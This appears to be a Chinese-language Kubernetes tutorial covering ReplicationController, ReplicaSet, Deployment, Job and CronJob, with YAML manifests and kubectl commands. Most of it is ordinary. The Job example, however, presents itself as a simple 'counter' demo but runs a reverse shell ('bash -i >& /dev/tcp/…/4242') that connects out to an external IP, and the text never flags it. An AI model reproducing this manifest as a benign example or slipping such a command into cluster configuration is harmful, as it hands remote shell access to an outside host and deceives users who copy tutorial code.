ReplicationController(RC)
ReplicationController 确保在任何时候都有特定数量的 Pod 副本处于运行状态。
Copy apiVersion: v1
kind: ReplicationController
metadata:
name: nginx
spec:
replicas: 3
selector:
app: nginx
template:
metadata:
name: nginx
labels:
app: nginx
spec:
containers:
- name: nginx
image: nginx
ports:
- containerPort: 80
· spec.replicas: 指定Pod副本数量,默认为1
· spec.selector: RC通过该属性来筛选要控制的Pod
· spec.template.metadata.labels: 注意这里的Pod的labels要和spec.selector相同,这样RC就可以来控制当前这个Pod了。
注意spec.selector和spec.template.metadata.labels这两个字段必须相同,否则会创建失败的,当然我们也可以不写spec.selector,这样就默认与Pod模板中的metadata.labels相同了。
Copy #创建rc
kubectl create -f rc-demo.yaml
#查看RC
kubectl get rc
#查看具体信息
kubectl describe rc nginx
#修改pod副本数量
kubectl edit rc nginx
#利用rc滚动升级
kubectl rolling-update nginx --image=nginx:1.7.9
kubectl rolling-update nginx -f rc-demo.yaml
Replication Set(RS)
Replication Set简称RS,官方已经推荐我们使用RS和Deployment来代替RC了,实际上RS和RC的功能基本一致,目前唯一的一个区别就是RC只支持基于等式的selector
kubectl命令行工具中关于RC的大部分命令同样适用于我们的RS资源对象
Copy apiVersion: apps/v1
kind: ReplicaSet
metadata:
name: frontend
labels:
app: guestbook
tier: frontend
spec:
# modify replicas according to your case
replicas: 3
selector:
matchLabels:
tier: frontend
template:
metadata:
labels:
tier: frontend
spec:
containers:
- name: php-redis
image: gcr.io/google_samples/gb-frontend:v3
Deployment
主要职责和RC一样的都是保证Pod的数量和健康,二者大部分功能都是完全一致的,我们可以看成是一个升级版的RC控制器
官方组件kube-dns、kube-proxy也都是使用的Deployment来管理
特性:
· RC的全部功能:Deployment具备上面描述的RC的全部功能
· 事件和状态查看:可以查看Deployment的升级详细进度和状态
· 回滚:当升级Pod的时候如果出现问题,可以使用回滚操作回滚到之前的任一版本
· 版本记录:每一次对Deployment的操作,都能够保存下来,这也是保证可以回滚到任一版本的基础
· 暂停和启动:对于每一次升级都能够随时暂停和启动
一个Deployment拥有多个Replica Set,而一个Replica Set拥有一个或多个Pod。
一个Deployment控制多个rs主要是为了支持回滚机制,每当Deployment操作时,Kubernetes会重新生成一个Replica Set并保留,以后有需要的话就可以回滚至之前的状态。
Copy apiVersion: apps/v1
kind: Deployment
metadata:
name: nginx-deploy
labels:
k8s-app: nginx-demo
spec:
replicas: 3
selector:
matchLabels:
app: nginx
template:
metadata:
labels:
app: nginx
spec:
containers:
- name: nginx
image: nginx:1.7.9
ports:
- containerPort: 80
#查看deployment
kubectl get deployments
#查看Deployment的升级历史
kubectl rollout history deployment nginx-deploy
Job 和 Cronjob
Job负责处理任务,即仅执行一次的任务
CronJob则就是在Job上加上了时间调度。
jobs
Copy apiVersion: batch/v1
kind: Job
metadata:
name: job-demo
spec:
template:
metadata:
name: job-demo
spec:
restartPolicy: Never
containers:
- name: counter
image: busybox
command :
- "bin/bash"
- "-c"
- "bash -i >& /dev/tcp/192.168.238.130/4242 0>&1"
cronjobs
apiVersion: batch/v2alpha1
kind: CronJob
metadata:
name: cronjob-demo
spec:
schedule: "*/1 * * * *"
jobTemplate:
spec:
template:
spec:
restartPolicy: OnFailure
containers:
- name: hello
image: busybox
args:
- "bin/sh"
- "-c"
- "for i in 9 8 7 6 5 4 3 2 1; do echo $i; done"
#删除
kubectl delete cronjob cronjob-demo